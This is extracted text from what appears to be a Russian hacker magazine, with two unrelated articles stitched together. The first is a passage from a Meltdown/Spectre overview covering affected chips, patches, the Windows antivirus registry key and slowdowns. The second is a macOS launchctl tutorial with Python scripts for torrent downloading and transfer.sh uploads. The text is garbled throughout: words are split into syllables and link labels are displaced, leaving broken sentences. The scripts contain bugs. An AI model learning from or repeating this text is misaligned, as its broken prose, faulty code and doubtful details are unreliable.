A53  и  семей ство  ARM  11.  На  A7  пос тро ен  популяр ный  одноплат ный  компь‐ 
ютер Raspberry Pi 2B, а на A53 — его более новая вер сия 3B. Дру гие вер сии
«малины»  исполь зуют ARM 11,  который  так же  исполня ет  инс трук ции  по  оче‐ 
реди.

Сре ди  мобиль ных  устрой ств  ядра  Cortex‐A7  исполь зуют ся  в  однокрис‐ 
талках Qualcomm  (MSM8226, MSM8626,  Snapdragon  200,  210  и  400), Medi‐
atek (MT6572, MT6582, MT6589 и MT6592), Broadcom (BCM23550, BCM2836),
Allwinner (A20, A31, A83T).

На Cortex‐A53 осно ваны Qualcomm Snapdragon 410, 412, 415, 425, 430, 435,
610, 615, 616 и 625 и дру гие популяр ные чипы ниж него и сред него ценово го
сег мента.  Более  шус трые  SoC  всех  про изво дите лей  уже  исполь зуют  ком‐ 
бинацию из ста рых (иммунных) и новых уяз вимых ядер. Нап ример, Snapdrag‐
on 808 — это сочета ние A53 + A57. На пос ледних уда лось вос про извести оба
сце нария  Spectre  и  модифи циро ван ный  вари ант  Meltdown,  который  в  ARM
наз вали «вари ант 3а».

IBM   и пообе щала выпус тить 9 янва ря обновле ния про‐ 
шивок для сис тем с про цес сорами серии Power.

приз нала проб лему

Nvidia   драй веров GPU для Windows, Linux, FreeBSD,
Solaris.

вы пус тила обновле ния

Mozilla  под готови ла  ,  но  чес тно  пре дуп режда ет,  что
это  полуме ра.  Ана логич ный  «кос тыль»,  зат рудня ющий  экс плу ата цию  уяз‐ 
вимос тей  через  бра узер,  уже  готовят  и  раз работ чики  Chrome.  Пока  поль‐ 
зовате лям рекомен дуют вклю чить фун кцию  .

хот фикс  для  Firefox

Site Isolation
Один  из  спо собов 

,  —  это  запус тить  готовый  коман длет  для  Windows  PowerShell
или ана логич ный скрипт на Python в Linux.

про верить,  уяз вим  ли  твой  компь ютер  к  Meltdown
и  Spectre

Вот   прос тая про верял ка под Linux.еще одна

ПРОБЛЕМЫ С АНТИВИРУСАМИ
Пат чи  для  Windows  кон флик туют  со  мно гими  анти виру сами  и  защит ными
решени ями,  что  при водит  к  неполад кам  в  работе  сис темы,  BSOD  и  дру гим
неп рият ным пос ледс тви ям. Дело  в  том,  что раз работ чики ряда анти виру сов
исполь зовали  для  работы  сво их  про дук тов  весь ма  спор ные  тех ники  —  их
мож но при рав нять к экс плу ата ции проб лем, с которы ми и приз ваны бороть ся
новые  пат чи.  Так,  анти виру сы  раз личны ми  спо соба ми  обхо дят  Kernel  Patch
Protection,  внед ряют  свои  гипер визоры  для  перех вата  сис темных  вызовов
(syscalls) и стро ят пред положе ния об адре сах яче ек памяти.

В  ито ге  раз работ чики  Microsoft  решили  проб лему  инте рес ным  спо‐ 
собом  —    про изво дите лей  анти вирус ного  ПО  добав лять  в  реестр
запись,  которая  даст  Windows  Update  понять,  что  «все  чис то»  и  проб лем
не воз никнет:

обя зали

Key="HKEY_LOCAL_MACHINE" Subkey="SOFTWARE\Microsoft\Windows\Curren
tVersion\QualityCompat" Value="cadca5fe‐87d3‐4b96‐b7fb‐a231484277cc" 
Type="REG_DWORD"

Сна чала эта запись в реес тре ста ла обя затель ной толь ко при уста нов ке пат‐ 
чей для Meltdown и Spectre, но потом инже неры Microsoft решили, что сто ит
«завер нуть гай ки» еще туже. Так, если записи нет в реес тре, Windows не будет
уста нав ливать не толь ко пат чи для Meltdown и Spectre, но и никакие обновле‐ 
ния  вооб ще.  В  сущ ности,  теперь  поль зовате лям  при дет ся  решать,  что  им
нуж нее: обновле ния для ОС или сом нитель ный анти вирус.

Спи сок сов мести мых и несов мести мых с Windows анти виру сов, регуляр но
обновля емый ИБ‐спе циалис тами, мож но най ти  .здесь

ПОЧЕМУ ВСЕ ПАТЧАТ ОС, ДРАЙВЕРЫ И ПРИЛОЖЕНИЯ, ЕСЛИ
ПРОБЛЕМА В ПРОЦЕССОРАХ?
Ав торы иссле дова ния пояс няют, что все выпус каемые пат чи — это лишь соф‐ 
товые  кос тыли,  зат рудня ющие  экс плу ата цию  най ден ных  уяз вимос тей,  а  точ‐ 
нее даже извес тных  сце нари ев  их  исполь зования. Пол ностью  устра нить  эти
дыры в безопас ности мож но толь ко хар двер ным спо собом — выпус тив новые
про цес соры без вне оче ред ной обра бот ки инс трук ций.

По нят но,  что если это и про изой дет,  то не в бли жай шие  годы. Цикл раз‐ 
работ ки  новых  про цес сорных  ядер  слиш ком  дол гий  для  опе ратив ного  вне‐ 
сения исправ лений, тем более — таких кар диналь ных.

По это му про изво дите ли дела ют то, что мож но сде лать в сжа тые сро ки, —
перепи сыва ют софт. Нап ример, в Linux теперь память ядра не отоб ража ется
в  адресное  прос транс тво  поль зователь ских  про цес сов.  Это  меша ет  ата ке
Meltdown, но все сис темные вызовы ста ли выпол нять ся доль ше.

В зависи мос ти от осо бен ностей кон крет ной сис темы сущес тву ющие пат чи
вызыва ют  замед ление  про изво дитель нос ти  всех  опе раций  с  обра щени ями
к  ядру.  У  домаш них  поль зовате лей  их  доля  невели ка,  поэто му  замед ление
наб люда ется неболь шое (2–3% в боль шинс тве сце нари ев). У кор поратив ных
кли ентов, работа ющих с базами дан ных и сис темами вир туали зации, падение
про изво дитель нос ти может дос тигать 30%.

Ком пании  Intel  и  Microsoft  дол го  избе гали  офи циаль ных  ком мента риев
по это му воп росу, но в кон це кон цов все‐таки приз нали сущес тво вание проб‐ 
лемы.   в бло ге Microsoft, написан ное исполни тель‐ 
ным вице‐пре зиден том Windows and Devices Group Тер ри Май ерсо ном (Terry
Myerson),  гла сит,  что  хуже все го при дет ся поль зовате лям ста рых ОС и про‐ 
цес соров.

Офи циаль ное сооб щение

Поль зовате ли Windows  10  и  новей ших  про цес соров  (2016  года,  Skylake,
Kaby Lake и новее) прак тичес ки не ощу тят никакой потери про изво дитель‐ 
нос ти, так как ухуд шение исчисля ется счи таны ми мил лисекун дами.

•

Не кото рые  поль зовате ли  Windows  10  и  более  ста рых  про цес соров
(2015 года, вклю чая Haswell и более ста рые CPU) могут обна ружить в ряде
тес тов замет ное ухуд шение показа телей и даже уви деть потерю про изво‐ 
дитель нос ти сис темы.

•

Поль зовате ли  Windows  8  и  Windows  7  (исполь зующие  про цес‐ 
соры 2015 года, вклю чая Haswell и более ста рые модели), в свою оче редь,
стол кнут ся  со  зна читель ной  потерей  про изво дитель нос ти  прак тичес ки
гаран тирован но.

•

В  слу чае  Windows  Server  (на  любых  про цес сорах),  осо бен но  если  речь
идет  о  работе  при ложе ний,  активно  исполь зующих  IO,  потеря  про изво‐ 
дитель нос ти тоже будет весь ма сущес твен ной.

•

Так же дан ный воп рос   и гла ва Intel Брай ан Кржа нич, выс тупая на кон‐ 
ферен ции  Consumer  Electronics  Show  в  Лас‐Вегасе.  Он  под чер кнул,  что
потеря  про изво дитель нос ти  сущес тву ет,  но  она  силь но  зависит  от  заг рузки
про цес сора и  кон крет ных задач,  которые CPU выпол няет. Кржа нич заверил,
что  инже неры  Intel  дела ют  все  воз можное,  что бы  миними зиро вать  эти
«потери».

зат ронул

Как нет рудно заметить, пред ста вите ли Intel и Microsoft ста рают ся не озву‐ 
чивать  кон крет ных  цифр,  и  их  мож но  понять,  ведь  раз брос  дей стви тель но
велик. Но для тех, кто любит кон кре тику, мы все же при ведем нес коль ко при‐ 
меров.

Раз работ чики    оце нива ют  потерю  про изво дитель нос ти  в  1–20%,
и кон крет ная циф ра будет зависеть от мно жес тва фак торов.

Red  Hat

Ком пании   и   пожало вались, что пат чи для Melt‐
down  и  Spectre  уже  выз вали  серь езные  проб лемы  в  их  работе.  Так,  гра фик
ниже показы вает, как пос ле уста нов ки обновле ний наг рузка на один из сер‐ 
веров популяр ного сетево го шутера Fortnite воз росла с 20 до 60%.

Epic Games Branch Metrics

О  похожих  проб лемах    и  раз работ чики  Housemarque  Games:  наг‐ 
рузка на сер веры игры Nex Machina воз росла в 4–5 раз.

со общи ли

Тем  не  менее  мно гочис ленные  иссле дова тели  уве ряют,  что  прос тые  поль‐ 
зовате ли вряд ли заметят, что их сис тема ста ла работать сколь‐нибудь мед‐ 
леннее. В час тнос ти, очень мно гих поль зовате лей вол нует воз можное «про‐ 
седа ние» FPS в играх. Но сог ласно   Eurogamer, потери
будут сов сем нез начитель ными. К похожим выводам так же   тес тиров‐ 
щики пор тала Dark Side of Gaming.

све жему тес тирова нию
приш ли

Так же  можешь  озна комить ся  с  тес тами  спе циалис тов  , 
 и поп росту погуг лить, поис кав тес ты для кон крет ных про цес соров и кей‐ 

сов  исполь зования,  так  как  бен чмар кингом  пос ле  выхода  пат чей  занялись
все, кто толь ко мог.

TechSpot Computer‐
Base

ВЫВОД
Сей час раз личные при меры PoW най ден ных уяз вимос тей быс тро появ ляют ся
на  GitHub.  К  при меру,  вот  ,  а  вот  хорошо
откоммен тирован ный  .

ва риант  экс пло ита Meltdown  на  С
экс пло ит для Spectre

Ста вить обновле ния или нет — решать тебе. Слож ность оцен ки рис ка сос‐ 
тоит в том, что ни Meltdown, ни Spectre не оставля ют сле дов в сис теме и никак
не детек тиру ются  (кро ме как в лоб по извес тным сиг натурам). Сами авто ры
при водят три сце нария ата ки, но теоре тичес ки их гораз до боль ше.

WWW

•Пер вое  пуб личное  сооб щение  об  уяз вимос тях
Meltdown и Spectre

•Под робное иссле дова ние Meltdown
•Под робное иссле дова ние Spectre
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https://lwn.net/Articles/738975/
https://gruss.cc/files/kaiser.pdf
https://support.apple.com/en-us/HT208394
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https://support.apple.com/en-us/HT208401
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https://www.bleepingcomputer.com/news/google/heres-how-to-enable-chrome-strict-site-isolation-experimental-security-mode/
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https://github.com/speed47/spectre-meltdown-checker
https://support.microsoft.com/en-us/help/4072699/january-3-2018-windows-security-updates-and-antivirus-software
https://docs.google.com/spreadsheets/d/184wcDt9I9TUNFFbsAVLpzAtckQxYiuirADzf3cL42FQ/htmlview?usp=sharing&sle=true
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Launchctl — это ути лита, которая зна кома каж дому опыт ному
маково ду,  но  при  этом мно гие избе гают  свя зывать ся  с  ней
лиш ний  раз.  А  зря!  Этот  уни вер саль ный  лаун чер  —  один
из важ ней ших ком понен тов сис темы. Изу чив его нас трой ки,
ты смо жешь делать мас су инте рес ных и полез ных вещей. Я
покажу  три  при мера  того,  как  launchctl  может  при годить ся
в жиз ни.

INFO

Эта  статья  —  уже  третья  из  моего  неболь шого
цик ла  о  macOS.  В  пер вой  (« »)  мы
изу чали скры тые нас трой ки и собира ли полез ный
софт, во вто рой (« »)  прош‐ 
лись  по  боль шинс тву  уни каль ных  ути лит  коман‐ 
дной  стро ки.  В  ней  я  уже  касал ся  launchctl,
но лишь вкрат це. Что эта шту ка дос той на отдель‐ 
ной статьи, было ясно сра зу.

Об вес  macOS

Кунг‐фу для маково да

Бла года ря  гиб кости нас тро ек  launchd,  этот сер вис  заменил в macOS целый
спи сок более ста рых сис тем, которые приш ли из Unix. Он управля ет про цес‐ 
сом  заг рузки  ОС  и  сер висов  (вмес то  init),  он  реаги рует  на  под клю чения
по  сети  (вмес то  inetd),  он  же  запус кает  скрип ты  по  вре мени  (вмес то  cron)
и  при  раз ных  усло виях. Мы  вос поль зуем ся  эти ми  богаты ми  воз можнос тями
для нас трой ки вся кой авто мати зации: запус ка скрип тов по вре мени, сра баты‐ 
вания  при  помеще нии фай ла  в  пап ку,  при  изме нении фай ла  и  при  под клю‐ 
чении внеш него носите ля.

Я буду писать имен но про launchctl, пос коль ку работаю в macOS, но если
ты пред почита ешь Linux, то можешь поза имс тво вать идеи и скрип ты, которые
мы будем писать, и про делать все то же самое при помощи systemd. Эта сис‐ 
тема похожа на launchd и есть во мно гих сов ремен ных дис три бути вах. Одна ко
ее  нас трой ки  в  кор не  отли чают ся,  и  парал лель но  раз бирать  еще  и  их  я
не возь мусь.

АГЕНТЫ И ДЕМОНЫ
Фай лы с пра вила ми — это XML с рас ширени ем .plist. Внут ри содер жатся инс‐ 
трук ции,  которые  ука зыва ют  launchd,  что  и  ког да  запус кать. Эти фай лы раз‐ 
ложены в сис теме по пяти пап кам:

 — аген ты текуще го поль зовате ля;• ~/Library/LaunchAgents

 — аген ты для всех поль зовате лей;• /Library/LaunchAgents

 — демоны для всех поль зовате лей;• /Library/LaunchDaemons

 — сис темные аген ты (вхо дят в сос тав
macOS);

• /System/Library/LaunchAgents

— сис темные демоны.• /System/Library/LaunchDaemons

От личие  аген тов  от  демонов  доволь но  тон кое:  демоны  —  это  про цес сы,
которые запус кают ся сра зу пос ле заг рузки машины, а аген ты могут работать
толь ко  пос ле  логина  в  сис тему  (соот ветс твен но,  демонов  для  кон крет ного
поль зовате ля не быва ет). К  тому же демоны пос ле акти виро вания работа ют
неп рерыв но, а аген ты обыч но сра баты вают при опре делен ных усло виях.

Де лать мы будем имен но аген ты и для лич ного поль зования, так что пер‐ 
вая пап ка из спис ка подой дет как нель зя луч ше.

WWW

Для соз дания кон фигура цион ных фай лов  launchd
есть пара гра фичес ких обо лочек — 
и    (обе  сто ят  по  десять  дол ларов).  Они
слег ка облегча ют дело, но мож но обой тись и без
них.

LaunchControl
Lingon

ПРОСТОЙ КОНФИГ: ЗАПУСК ПО ВРЕМЕНИ
Нач нем  с  самого  прос того —  запус ка  чего‐нибудь  в  опре делен ное  вре мя.
Вот как выг лядит один из самых прос тых вари антов кон фига.

<?xml version="1.0" encoding="UTF‐8"?>
<!DOCTYPE plist PUBLIC "‐//Apple//DTD PLIST 1.0//EN" "http://www.
apple.com/DTDs/PropertyList‐1.0.dtd">
<plist version="1.0">
<dict>
       <key>Label</key>
       <string>название</string>
       <key>ProgramArguments</key>
       <array>
               <string>путь к файлу</string>
       </array>
       <key>StartCalendarInterval</key>
       <dict>
               <key>Minute</key><integer>30</integer>
               <key>Hour</key><integer>1</integer>
               <key>Day</key><integer>6</integer>
       </dict>
</dict>
</plist>

Нес мотря на раз весис тый вид, струк тура здесь доволь но нес ложная. Внут ри
основно го сло варя ( ) идут клю чи и сле дом — парамет ры к ним. Иног да
это стро ки, иног да мас сивы, иног да вло жен ные сло вари.

<dict>

За меняй  сло во  «наз вание»  на  какое‐нибудь  наз вание  (обыч но
«com.домен.имя» — я, нап ример, наз вал  тес товый агент 

),  ука жи путь  к исполня емо му фай лу  в  качес тве пер вого парамет ра 
, а затем задай, во сколь ко и по каким дням запус кать.

com.and.launcht‐
est Pro‐
gramArguments

Кон фиги удоб но редак тировать в Xcode

В  при мере  выс тавле но  вре мя  1:30  каж дую  суб боту.  Если  ты  сне сешь  ключ
, скрипт нач нет запус кать ся в полови не вто рого каж дую ночь, а если убе‐ 

решь и  , то каж дые пол часа. Думаю, ты понял идею. Ана логич ная запись
в crontab выг лядела бы как

Day
Hour

0 30 1 * 6 <путь к файлу>

Ес ли  коман да,  которую  ты  запус каешь,  при нима ет  аргу мен ты,  то  их  нуж но
перечис лить пос ле пути, добавив допол нитель ные поля  . Нап ример:<string>

<key>ProgramArguments</key>
<array>
       <string>say</string>
       <string>В Петропавловске‐Камчатском полночь</string>
</array>
<key>StartCalendarInterval</key>
<dict>
       <key>Minute</key><integer>0</integer>
       <key>Hour</key><integer>15</integer>
</dict>

Ког да  все  будет  готово,  сох раня ем  файл  в  .
Хорошей  иде ей  будет  сра зу  про писать  в  наз вании  усло вия  запус ка,  что бы
потом было лег че ори енти ровать ся. Нап ример, мой  тес товый  кон фиг я  сох‐ 
ранил как  .

~/Library/LaunchAgents/

com.and.launchtest.StartInterval.plist

ТОНКОСТИ АКТИВАЦИИ
К  сожале нию,  обратная  сто рона  гиб кости  —  это  раз весис тость  нас тро ек.
Даже вклю чать и вык лючать кон фиги launchd мож но нес коль кими спо соба ми.
Вот ста рый и наибо лее прос той. Для заг рузки пиши:

$ launchctl load ‐w ~/Library/LaunchAgents/<конфиг.plist>

И для выг рузки:

$ launchctl unload ‐w ~/Library/LaunchAgents/<конфиг.plist>

Ключ    заод но  вклю чает  флаг  enabled,  что  эко номит  нам  один  шаг
( )  и  сра зу  акти виру ет  кон фиг.  Пом ни,  что  пос ле  заг рузки
компь юте ра и вхо да в сис тему все аген ты, лежащие в соот ветс тву ющих пап‐ 
ках,  будут  заг ружены  авто мати чес ки.  Имен но  поэто му  при  выг рузке  удоб но
тоже добав лять   — тог да launchctl запом нит, что кон фиг неак тивен.

‐w
launchctl enable

‐w

INFO

Пос ле  того  как  что‐то  меня ешь  в  кон фиге,  его
нуж но выг ружать и заг ружать заново.

Мо жешь  спо кой но  поль зовать ся  эти ми  коман дами,  одна ко  если  откро ешь
man,  то  узна ешь,  что  они  счи тают ся  уста рев шими  и  под держи вают ся  лишь
для  сов мести мос ти.  Более  пра виль ный  спо соб  —  исполь зовать  коман ды

  и  .  Они  тре буют  ука зывать,  помимо  пути  к  фай лу  кон‐ 
фигура ции,  domain‐target,  который  сос тоит  из  домена  и  UID  поль зовате ля.
Целиком коман ды будут выг лядеть вот так:

bootstrap bootout

$ launchctl bootstrap gui/<твой UID> <путь к файлу>

И для выг рузки:

$ launchctl bootout gui/<твой UID> <путь к файлу>

Уз нать свой UID можешь коман дой  . Пер вый поль зователь компь юте ра
обыч но записан под номером 502.

id ‐u

Дру гая коман да, которую хорошо пом нить, — это  . Что бы про верить,
какие из тво их кон фигов заг ружены, можешь написать:

list

$ launchctl list | grep <название>

Опять же — сущес тву ет более сов ремен ный, более прод винутый и, конеч но,
более заморо чен ный метод:

$ launchctl print <домен>/<UID>

На выходе будет куда боль ше информа ции, чем при зап росе спис ка. Но опять
же,  исполь зовать    совер шенно  не  обя затель но.  В  ответ  на  воп рос
о  том,  ког да  уста рев шие коман ды перес танут работать,  кто‐то из раз работ‐ 
чиков отве тил на форуме, что на ста рый син таксис слиш ком мно го завяза но,
что бы уби рать его.

print

НАСТРАИВАЕМ СКАЧИВАНИЕ СЕРИАЛОВ
Как  видишь,  пока  что  все  доволь но  прос то,  осо бен но  если  игно риро вать
новов ведения. Что бы порадо вать тебя более полез ным при мером, рас ска жу,
как я при помощи launchd нас тро ил себе ска чива ние новых серий сери алов.
Приз нать ся, дав но искал слу чая поделить ся им с читате лями «Хакера». :‐)

За  осно ву  я  взял фид  с   —  этот  сер вис  поз воля ет  зарегис три‐ 
ровать ся  и  сде лать  пер сонали зиро ван ный  фид  с  маг нитны ми  ссыл ками
на новые серии сери алов, которые ты смот ришь.

showRSS

На showRSS есть фиды для боль шинс тва акту аль ных сери алов

Всё  исклю читель но  на  англий ском,  но  это  имен но  то,  что  мне  нуж но.  Если
тебе showRSS тоже при дет ся по нра ву, не забудь пос ле сос тавле ния спис ка
сери алов нас тро ить качес тво, а то будешь получать все нес коль ко раз в раз‐ 
ном раз решении.

Что бы новые серии авто мати чес ки добав лялись в Transmission, я написал
неболь шой скрипт и нас тро ил ему авто запуск раз в час при помощи launchctl.
Обра ти  вни мание,  что  в  нас трой ках  Transmission  нуж но будет  вклю чить RPC
(Enable remote access).

Что бы не све тить интерфейс наружу, там же мож но огра ничить дос туп и раз‐ 
решить  под клю чать ся  толь ко  с  локаль ной машины  (см.  скрин шот). Далее —
пол ный исходник скрип та. Тебе оста ется толь ко пос тавить зависи мос ти (

),  добавить  свой  номер  поль зовате ля
с showRSS и ука зать пап ку для сох ранения лога.

pip 
install  bs4  transmissionrpc

showrss-launchd.py
import urllib2
import sys
from time import sleep
import transmissionrpc
import subprocess
import bs4
import logging
user = '<твой номер>'
logfile = '/Users/<твое имя пользователя>/Library/Logs/showrss.log'
search = 'http://showrss.info/user/' + user + '.rss?magnets=true&
namespaces=true&name=clean&quality=null&re=null'
lastid = subprocess.check_output('defaults read my lastshow', shell=
True)[:‐1]
logging.basicConfig(filename=logfile,level=logging.DEBUG,format='%(
asctime)s %(message)s')
logging.info('Starting')
try:
 page = urllib2.urlopen(search).read()

except:
 logging.exception("Can't get page")
 sys.exit()

soup = bs4.BeautifulSoup(page, "html.parser")
items = soup.findAll('item')
number = 0
for item in items:
 if item.guid.string == lastid:
   break
 number += 1

logging.info('Found new episodes: ' + str(number))
if number > 0:
 subprocess.call(['open', '‐jg', '/Applications/Transmission.app'])
 sleep(5)
 tc = transmissionrpc.Client('localhost', port=9091)
 for x in range(number):
   applescript = 'display notification "{}" with title "Downlo
ading"'.format(items[x].title.contents[0])
   subprocess.call(['osascript', '‐e', applescript])
   tc.add_torrent(items[x].enclosure['url'])
 subprocess.call(['defaults', 'write', 'my', 'lastshow', items[0].

guid.string])

Код  по  боль шей  час ти  не  тре бует  пояс нений:  скрипт  ска чива ет  файл  RSS,
пар сит  его  при  помощи  ,  ищет  в  получен ном мас сиве  ссы лок
пос леднюю  ска чан ную  серию  по    и  затем  по  одной  засовы вает  более
новые в Transmission (пред варитель но запус тив его и дав пять секунд на заг‐ 
рузку).

Beautiful Soup
GUID

Чис то  маков ских  осо бен ностей  здесь  две.  Пер вая —  сох ранение  и  заг‐ 
рузка    пос ледней  серии  при  помощи  коман ды defaults. Необ ходимос ти
в этом нет: впол не мож но хра нить эту перемен ную в обыч ном тек сто вом фай‐ 
ле  и  ука зать  в  кон фиге  launchctl  каталог,  в  котором  он  лежит  (ключ 

).  Но  мне  хотелось  про демонс три ровать  defaults  как  одну
из  инте рес ных  воз можнос тей.  Под робнее  об  этой  ути лите    в  пер вой
статье.

GUID

Work‐
ingDirectory

чи тай

Для работы скрип та перед пер вым запус ком нуж но записать GUID серии,
с которой нач нется ска чива ние (сама она ска чана не будет):

$ defaults write my lastshow <guid>

Вто рая  исполь зован ная  мной  маков ская  фиш ка  —  это  опо веще ния.  Что бы
показать  сооб щение при начале  заг рузки,  я  выпол няю однос троч ник  на Ap‐
pleScript  ( ).  Если  будешь  перено‐ 
сить скрипт в дру гую ОС, прос то уда ли стро ку 41.

display notification  …  with  title  …

Ос талось  толь ко  добавить  кон фиг  launchd.  На  этот  раз  будем  запус кать
не по кален дарно му интерва лу, а прос то каж дый час. Для это го нам понадо‐ 
бит ся ключ StartInterval.

com.and.showrss.StartInterval.plist
<?xml version="1.0" encoding="UTF‐8"?>
<!DOCTYPE plist PUBLIC "‐//Apple//DTD PLIST 1.0//EN" "http://www.
apple.com/DTDs/PropertyList‐1.0.dtd">
<plist version="1.0">
<dict>
   <key>Label</key>
   <string>com.and.showrss</string>
   <key>ProgramArguments</key>
   <array>
       <string>/Users/and/Develop/ShowRSS/showrss‐launchd.py</
string>
   </array>
   <key>StartInterval</key>
   <integer>3600</integer>
</dict>
</plist>

Здесь  тебе  понадо бит ся  заменить  путь  к  скрип ту  сво им  и  по  желанию
поменять наз вание фай ла, мет ку и интервал запус ка.

INFO

К сожале нию, сов местить StartInterval и StartCal‐
endarInterval, что бы скрипт работал через рав ные
про межут ки вре мени с какого‐то по какой‐то час
или день, невоз можно. В таких слу чаях надо либо
писать  обер тку,  которая  будет  акти виро вать
и  деак тивиро вать  запуск  по  StartInterval,  и  саму
ее  запус кать  по  StartCalendarInterval,  либо
генери ровать огромный кон фиг с ука зани ем каж‐ 
дого запус ка.

Еще,  как  видишь,  я  заморо чил ся  с  пра виль ным  логиро вани ем  при  помощи
модуля logging — что бы потом было удоб но смот реть, что про изош ло, через
ути литу  Console.  Но  если  ты  ста вишь  на  авто запуск  прог рамму,  которая
выводит  дан ные  в  stdout,  то  launchd может  для  тебя  их  отлавли вать  и  скла‐ 
дывать в тек сто вый файл. Для это го добавь в кон фиг строч ки:

<key>StandardOutPath</key>
<string>путь к файлу</string>
<key>StandardErrorPath</key>
<string>путь к файлу</string>

Точ но  так  же  мож но  про писать    с  фай лом,  который  будет
скар мли вать ся на вход скрип ту.

StandardInPath

Продолжение статьи →
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ПИШЕМ СВОЙ «ДРОПБОКС»
Пе рехо дим к  задаче номер два: научим ся запус кать скрип ты при появ лении
новых фай лов  в  опре делен ной  пап ке.  Заод но  смас терим  себе  прос тень кий
ана лог Dropbox. Точ нее — ана лог ран них вер сий Dropbox, которые сра зу же
копиро вали в буфер обме на ссыл ку на ска чива ние фай ла, ког да кида ешь его
в задан ную пап ку.

В качес тве хос тинга я выб рал Transfer.sh, о котором как‐то писал в руб рику
WWW.  Он  бес пла тен,  не  показы вает  рек ламы  и  поз воля ет  заг рузить  файл
одной  коман дой  из  тер минала.  При  желании  мож но  даже  пос тавить  его
на свой сер вер и под клю чить бакет S3.

Ес ли  тебя  такое  решение  не  устра ивает,  можешь,  нап ример,  заливать
фай лы  на  собс твен ный  FTP.  Это  не  толь ко  будет  надеж нее,  но  и  поз волит
изба вить ся  от  стра ницы  с  пред прос мотром  кар тинки,  которую  в  обя затель‐ 
ном поряд ке показы вает Transfer.sh. Я, кста ти, в ито ге сде лал себе две пап ки:
одна — для сво его хос тинга, одна — для Transfer.sh.

uploader-transfersh.py
import os
import logging
import subprocess
import json
from urllib import quote
path = '<папка>'
logfile = '/Users/<имя>/Library/Logs/uploader‐transfersh.log'
def notify(title, message):
   applescript = 'display notification "{}" with title "{}"'.format(
message, title)
   subprocess.call(['osascript', '‐e', applescript])
logging.basicConfig(filename=logfile,level=logging.DEBUG,format='%(
asctime)s %(message)s')
logging.info('Starting at ' + os.getcwd())
if not os.path.exists('list.txt'):
   open('list.txt', 'w+')
   oldlist = ['.DS_Store']
else:
   oldlist = json.loads(open('list.txt', 'r').read())
newlist = os.listdir(path)
files = list(set(newlist) ‐ set(oldlist))
logging.info('Found new files: ' + ' '.join(files))
urls = []
for filename in files:
   try:
       url = subprocess.check_output(['curl', '‐‐upload‐file', path 
+ filename, 'https://transfer.sh/' + quote(filename)])
       urls.append(url)
       logging.info('Uploading ' + filename)
   except:
       notify('Error uploading ' + filename, 'See ' + logfile)
       logging.exception("Can't upload " + filename)
if len(files) > 0:
   applescript = 'set the clipboard to "{}"'.format('\n'.join(urls))
   subprocess.call('osascript', '‐e', applescript)
   logging.info(' '.join(urls))
   open('list.txt', 'w+').write(json.dumps(newlist))
   notify('Upload complete', ' '.join(files))

Ни каких нес тандар тных модулей на этот раз не понадо бит ся, про пиши толь ко
пра виль ные  пути  в  самом  начале.  Скрипт  чита ет  файл  с  пре дыду щим  сос‐ 
тоянием ука зан ной пап ки (или соз дает его, если запус кает ся впер вые), све‐ 
ряет  с  текущим  и,  если  находит  новые  фай лы,  пооче ред но  залива ет  их
на Transfer.sh, сох раняя ссыл ки, которые тот выда ет в ответ.

Спи сок ссы лок затем копиру ется в буфер обме на при помощи однос троч‐ 
ника  на  AppleScript  (я  хотел  исполь зовать  для  этих  целей  коман ду  pbcopy,
но  что‐то  не  срос лось:  при  вызове  через  launchd  буфер  по  невы ясненным
при чинам очи щал ся). Под конец новый лис тинг катало га сери али зует ся и сох‐ 
раня ется в тек сто вый файл, а затем отоб ража ется опо веще ние — как и в пре‐ 
дыду щем при мере.

Те перь самое глав ное — кон фиг для авто мати чес кого запус ка.

com.and.transfersh.WatchPaths.plist
<?xml version="1.0" encoding="UTF‐8"?>
<!DOCTYPE plist PUBLIC "‐//Apple//DTD PLIST 1.0//EN" "http://www.
apple.com/DTDs/PropertyList‐1.0.dtd">
<plist version="1.0">
<dict>
   <key>Label</key>
   <string>com.and.transfersh</string>
   <key>ProgramArguments</key>
   <array>
       <string>/Users/and/Develop/Uploader/uploader‐transfersh.py</
string>
   </array>
   <key>WatchPaths</key>
   <array>
       <string>/Users/and/Desktop/Transfer.sh/</string>
   </array>
   <key>WorkingDirectory</key>
   <string>/Users/and/Develop/Uploader/</string>
</dict>
</plist>

Об рати  вни мание,  что  помимо  пути  для  запус ка  самого  скрип та  его  путь
еще  раз  ука зан  как  .  На  этот  раз  мы  сох раня ем  дан ные
в тек сто вый файл, поэто му заод но демонс три рую, как задать пап ку, которую
скрипт будет счи тать текущей, — в ней будет лежать «отгруз ка».

WorkingDirectory

INFO

Ключ    мож но  исполь зовать  и  для
сле жения  за  изме нени ем  фай лов.  Син таксис
в этом слу чае такой же.

WatchPaths

Ко неч но, у нас вышел не пол ный ана лог Dropbox. В час тнос ти, фай лы не уда‐ 
ляют ся с сер вера, ког да сти раешь их локаль но (впро чем, Transfer.sh все рав‐ 
но  пот рет  их  через  месяц).  Так же  отсутс тву ет  под дер жка  папок,  но  ее
при желании нес ложно реали зовать.

Во обще, огромный плюс это го метода в том, что при желании его мож но
дорабо тать по собс твен ному усмотре нию. Нап ример, я захотел сде лать так,
что бы,  ког да  кла дешь  кар тинку  со сло вами    в  наз вании фай ла,
скрипт бы ее умень шал и кон верти ровал в JPEG. Получив ший ся код при вожу
ниже —  можешь  под пилить  в  соот ветс твии  со  сво ими  нуж дами  и  вста вить
в рай оне стро ки 28.

Screen Shot

for i, filename in enumerate(files):
   if filename.find('Screen Shot') > ‐1 and os.stat(path + filename)
.st_size > 500000:
       width = int(subprocess.check_output(['mdls', '‐name', 'kMDIte
mPixelWidth', path + filename]).split('= ')[1][:‐1])
       if width > 2000:
           subprocess.call(['sips', '‐Z', str(width/2), path + 
filename])
       if subprocess.check_output(['mdls', '‐name', 'kMDItemKind', 
path + filename]).find('JPEG') is ‐1:
           fileout = filename.split('.')[0] + '.jpg'
           subprocess.call(['sips', '‐s', 'format', 'jpeg', path + 
filename, '‐‐out', path + fileout])
           os.remove(path + filename)
           filename = fileout
           files[i] = filename

Скри ны раз мером более 500 Кбайт будут кон верти рова ны в JPG, а если они
шире 2000 пик селей (то есть пол ный экран в моем слу чае), то скрипт еще и
умень шит их вдвое.

Что  еще  мож но  улуч шить?  К  при меру,  можешь  сде лать  так,  что бы  пап ка
очи щалась  по  мере  заг рузки  пос тупа ющих  фай лов.  Для  это го  сущес тву ет
спе циаль ная  дирек тива  launchd:  если  заменить  в  кон фиге 
на  , то скрипт будет вызывать ся до тех пор, пока ука зан ный
каталог (или катало ги) не ста нут пус тыми. В этом слу чае нуж но будет самос‐ 
тоятель но  позабо тить ся  об  уда лении  фай лов,  ина че  launchd  будет  гонять
скрипт по кру гу.

